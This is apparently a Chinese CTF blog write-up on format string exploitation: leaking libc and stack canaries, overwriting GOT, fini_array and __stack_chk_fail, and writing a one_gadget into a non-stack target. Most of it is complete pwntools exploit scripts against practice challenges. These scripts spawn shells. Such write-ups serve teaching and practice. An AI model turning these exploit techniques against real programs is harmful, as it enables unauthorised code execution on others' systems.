格式化字符串漏洞

D0wnBe@t Lv4

栈上格式化字符串

1.64位泄露libc地址

题目 BaseCTF week3-format_string_level2

栈上-x64

  • 很明显的格式化字符串漏洞,没有后门函数,需要泄露libc。
  • 偏移照惯例找就行了,这里就不展示了,偏移是6,需要注意64位和32利用格式化字符串漏洞实现任意地址读的区别:64位的地址多了许多0,所以导致不可以在payload前面填要读的地址

举例:

payload = p64(printf_got) + b’%6$s’ 这样写在输出的时候,读完printf_got就结束了,got表地址就只有三字节,后面全是补全的\x00,会导致printf输出截断所以printf_got应该放在后面。

题解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher3 import *
context(arch='amd64',log_level='debug')
p = remote("challenge.basectf.fun",49786)
elf = ELF("./fmt")

printf_got = elf.got['printf']
read_got = elf.got['read']
# 偏移6
payload = b'%7$saaaa'+p64(read_got) #前面补全8字节,防止\x00截断
p.send(payload)
read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
#libc = LibcSearcher('read',read_addr)
libc = ELF("/home/pwn/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6")
base = read_addr - libc.sym["read"]
system = base + libc.sym['system']

payload = fmtstr_payload(6,{printf_got:system})
p.sendline(payload)

p.send(b'/bin/sh\x00')
p.interactive()

2.泄露canary

题目 NSSCTF 3rd ezstack:

  • 可以发现很明显的格式化字符串漏洞,但是只可以利用一次,由于printf遇到\x00才会停止输出,利用这个特性,加上任意地址可读的漏洞利用,我们可以泄露出canary
  • 难点其实在于找偏移

以本题举个例子:

buf距离canary 0x38的位置,在栈上差距0x38/8=7个位置,再加上64位传入前六个参数位于寄存器中,所以偏移其实是7+6=13,然后就可以开始得到canary,进行正常的ret2libc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from LibcSearcher3 import *

# 偏移6+7
#p = remote("node8.anna.nssctf.cn",28183)
p = process("./pwn")
elf = ELF("./pwn")
pop_rdi_ret = 0x0000000000401303
ret = 0x000000000040101a
main = elf.sym['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

p.recvuntil("canary challenge\n")
p.sendline(b'%13$p')
canary = int(p.recv(18),16)
print("[+][+][+][+]canary=",hex(canary))
p.recvuntil(">\n")
payload = b'a'*0x28 + p64(canary) + p64(0) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success("puts_address ",hex(puts_addr))

'''
LibcSearcher 没搜到,上网站找的
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
system = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')
'''

libc = ELF("/mnt/hgfs/ctfpwn/exp/libc/libc6_2.31-0ubuntu9.10_amd64.so")
base = puts_addr - libc.sym['puts']
system = base + libc.sym['system']
bin_sh = base + next(libc.search(b'/bin/sh'))

p.recvuntil("canary challenge\n")
p.sendline(b'%13$p')
canary = int(p.recv(18),16)
print("[+][+][+][+]canary=",hex(canary))
p.recvuntil(">\n")
payload = b'a'*0x28 + p64(canary) + p64(0) + p64(pop_rdi_ret) +p64(bin_sh) + p64(ret) + p64(system)
p.sendline(payload)
p.interactive()

3.只有一次格式化字符串漏洞利用机会

(1)修改fini_array

题目链接

ida速览

  • 明显的格式化字符串漏洞,但是只有一次利用的机会
1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[68]; // [esp+0h] [ebp-48h] BYREF

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to my ctf! What's your name?");
__isoc99_scanf("%64s", format);
printf("Hello ");
printf(format);
return 0;
}

利用分析

  • 只有一次漏洞利用,很明显是不够的,因为修改pirntf_got 为system就需要一次漏洞利用,所以有什么方法可以使得改完printf后再回到main函数呢?其实是有的

  • 可以发现执行完main函数之后会执行一个终止函数,如果我们可以改终止函数为main函数地址,那是不是就可以又再次回答main函数?答案是肯定的,此题目没有PIE。
  • 下图第一个红框就是main函数前要执行的初始化函数,而第二个红框就是main函数结束之后要执行的终止函数,我们要改的就是这个函数值

EXP解释

修改分析:

  • fini_array -> main printf -> system
  • 很明显要先改高位字节,因为先改小的,再改大的(%x$n的特性,前面有多少个字符了就修改多少)
1
2
3
4
5
printf     = 0x0804 989c
system = 0x0804 83D0

fini_array = 0x0804 979C
main = 0x0804 8534

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(arch='i386',log_level='debug')

p = process("./pwn")
#p = remote("node5.buuoj.cn",27343)
elf = ELF("./pwn")
printf = 0x0804989c
system = 0x080483D0

fini_array = 0x0804979C
main = 0x08048534

# 偏移是4
# 改fini_array -> main printf -> system
payload = p32(fini_array+2) + p32(printf+2) + p32(printf) + p32(fini_array)
payload += b'%' + str(0x804-0x10).encode() + b'c%4$hn' + b'%5$hn'
payload += b'%' + str(0x83D0 - 0x804).encode() + b'c%6$hn'
payload += b'%' + str(0x8534 - 0x83D0).encode() + b'c%7$hn'
p.recv()
p.sendline(payload)

p.recv()
p.send(b'/bin/sh\x00')
p.interactive()

(2)修改stack_chk_fail

题目来自BaseCTF fmt3,参考了官方题解

ida速览

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+108h] [rbp-8h]

v5 = __readfsqword(0x28u);
init();
puts("-----");
read(0, buf, 0x110uLL);
printf(buf);
return 0;
}
  • 很明显的格式化字符串漏洞利用,但是无法栈溢出到返回地址。

利用分析

  • 我们没有system和/bin/sh,很明显是需要泄露libc的,泄露libc很简单,同开头的64位利用一样,但是然后的步骤我们该如何进行呢?一次格式化字符串漏洞利用行不行呢?
  • 其实当然是不行的,如何修改可以使得多次利用呢?canary!!!
  • canary阻止了我们进行栈溢出的利用,但是同时也衍生出了对于它的攻击手法以及利用,**__stack_chk_fail的利用。**
  • 当输入达到canary的时候,发生错误,系统会执行__stack_chk_fail函数,然后导致退出程序,如果我们修改该函数的got表内容为main函数的地址,那么我们主动去触发这个函数,是不是就会跳到main函数了呢?答案当然是:是的!!!
  • 所以思路很明显了,先将stack_chk_fail的got改为main函数的地址,并且泄露libc,第二次将printf_got修改为system,第三次传入/bin/sh就行了,但是记住,要主动去触发__stack_chk_fail函数才会返回到main函数。

EXP&解释

1.修改__stack_chk_fail函数got表,并且泄露libc
  • 根据ida地址分析,只需要进行三次的单字节修改即可。偏移是6,22 = 0x10 + 6,0x10的偏移在栈上表示为0x10*8 = 0x80,所以对偏移为22的地方进行单字节修改,将偏移为22的地方写入要修改的即可。
  • 其中的0x100 - 上次已经写入的字符数 + 本次应该写入的字符数,个人认为应该是防止出现负数的情况,也算是学到了新的写法了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
stack_chk_fail = 0x0403320
main = 0x040121B
payload = b'%' + str(0x1b).encode() + b'c%22$hhn'
payload += b'%' + str(0x100-0x1b+0x12).encode() + b'c%23$hhn'
payload += b'%' + str(0x100-0x12+0x40).encode() + b'c%24$hhn'
payload += b'---b%25$s'
payload = payload.ljust(0x80,b'a')
payload += p64(stack_chk_fail) # 22
payload += p64(stack_chk_fail+1) # 23
payload += p64(stack_chk_fail+2) # 24
payload += p64(printf_got) # 25
payload = payload.ljust(0x110,b'a')# 主动触发stack_chk_fail

#bug()
p.send(payload)
p.recvuntil(b'---b')
printf_addr = u64(p.recv(6)+b'\x00\x00')
success("printf_address : "+hex(printf_addr))
base = printf_addr - libc.sym['printf']
system = base + libc.sym['system']
2.修改printf_got => system,传入/bin/sh
  • 修改步骤和上述没区别
1
2
3
4
5
6
7
8
9
10
11
12
13
14
payload = b'%' + str(system & 0xff).encode() + b'c%22$hhn'
payload += b'%' + str((0x100 - system&0xff)+(system >> 8 & 0xff)).encode() + b'c%23$hhn'
payload += b"%" + str((0x100 - (((system >> 8) & 0xff))) + (((system >> 16) & 0xff))).encode() + b"c%24$hhn"
payload = payload.ljust(0x80,b'a')
payload += p64(printf_got)
payload += p64(printf_got + 1)
payload += p64(printf_got + 2)
payload = payload.ljust(0x110,b'a')
sleep(0.3)
p.send(payload)

sleep(0.3)
p.send(b'/bin/sh\x00')
p.interactive()

非栈上格式化字符串

题目:

  • NSSCTF 3rd ezfmt

先来看看题目:

思路:

  • 题目很明显,给你7次利用格式化字符串漏洞的机会,让你getshell,可是我们发现buf是在bss段上面的,不同于在栈上的利用,在栈上,我们通常是修改printf_got为system地址,然后通过传入/bin/sh,达到getshell的目的,可是此处,我们不可以。
  • 为什么?因为非栈上的格式化字符串漏洞的利用需要我们自己去手动写payload,不像非栈上有fmtstr_payload这种工具帮我们修改,因此,我们手搓修改就要一直用到格式化字符串漏洞,那么这个printf就无法更改,那我们可以修改什么呢?
  • 修改__libc_start_main
  • __libc_start_main相当于函数的返回地址,当程序结束的时候会执行它,我们可以将它修改为onegadget,然后就可以getshell了,下面说说如何修改。

修改核心:

  • 非栈上的修改需要我们间接写+无中生友

我们要找到 地址a -> 地址b -> 目标地址,这样的格式。

因为修改a其实是修改c

举个例子:

为了得到A -> B -> C C不在栈上

有一个D跟C的地址很像,或许就末两字节不相同

借助A -> B -> D 且已知偏移的情况下

修改A末两字节,就可以使得B->C。

题解:

  • 先查看栈结构,找到 a->b->c的结构,锁定修改的目标:

如图,为了修改__libc_start_main,我们选定的结构是下面画框部分,可以发现画框部分的地址,与libc_start_main前面的地址相差不大,我们就成功地找到了”朋友”

D - > __libc_start_main

A -> B -> C ,修改C为D

A -> B -> D -> __libc_start_main ,再修改B就可以达到修改libc_start_main了

  • 接下来对B而言,刚好也是一个a->b->c的结构,B->D->libc_start_main,如此我们修改B即修改第三个指针libc_start_main为onegadget即可getshell

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from LibcSearcher3 import *
context(arch='amd64')
p = process("./pwn")
#p = remote("node8.anna.nssctf.cn",28175)
libc = ELF("/mnt/hgfs/ctfpwn/exp/libc/libc6_2.31-0ubuntu9.10_amd64.so")
def bug():
gdb.attach(p)
pause()

# 泄露libc基地址和一个stack地址
p.recvuntil('>\n')
payload = b'%9$p%11$p'
p.sendline(payload)
p.recvuntil(b'0x')
libc_start_main= int(p.recv(12),16)-243
print("[+][+][+][+] libc_start_main:",hex(libc_start_main))
#libc = LibcSearcher('__libc_start_main',libc_start_main)
base = libc_start_main - libc.sym['__libc_start_main']
p.recvuntil("0x")
stack=int(p.recv(12),16)
print("[+][+][+][+] stack = ", hex(stack))

stack1 = stack - 240 # stack1 -> libc_start_main
stack2 = stack - 224 # stack2 -> stack
one = base + 0xe3b01
print("[+][+][+][+] stack1 = ", hex(stack1))
print("[+][+][+][+] stack2 = ", hex(stack2))

pay=(b'%'+str(stack1&0xffff).encode()+b'c%11$hn').ljust(0x98,b'\x00')+p64(stack2)
p.recvuntil('>\n')
p.sendline(pay)
#bug()

pay=(b'%'+str(one&0xffff).encode()+b'c%39$hn').ljust(0x98,b'\x00')+p64(stack)
p.recvuntil('>\n')
p.sendline(pay)

stack1+=2
pay=(b'%'+str(stack1&0xffff).encode()+b'c%11$hn').ljust(0x98,b'\x00')+p64(stack2+2)
p.recvuntil('>\n')
p.sendline(pay)

pay=(b'%'+str(one>>16&0xffff).encode()+b'c%39$hn').ljust(0x98,b'\x00')+p64(stack+2)
p.recvuntil('>\n')
p.sendline(pay)

stack1+=2
pay=(b'%'+str(stack1&0xffff).encode()+b'c%11$hn').ljust(0x98,b'\x00')+p64(stack2+4)
p.recvuntil('>\n')
p.sendline(pay)

pay=(b'%'+str(one>>32).encode()+b'c%39$hn').ljust(0x98,b'\x00')+p64(stack+4)
p.recvuntil('>\n')
p.sendline(pay)

#bug()
p.interactive()

libc版本是泄露libc_start_main后上网站找的:libc-database

  • 标题: 格式化字符串漏洞
  • 作者: D0wnBe@t
  • 创建于 : 2024-08-25 16:12:25
  • 更新于 : 2024-09-27 14:29:10
  • 链接: http://downbeat.top/2024/08/25/格式化字符串漏洞/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论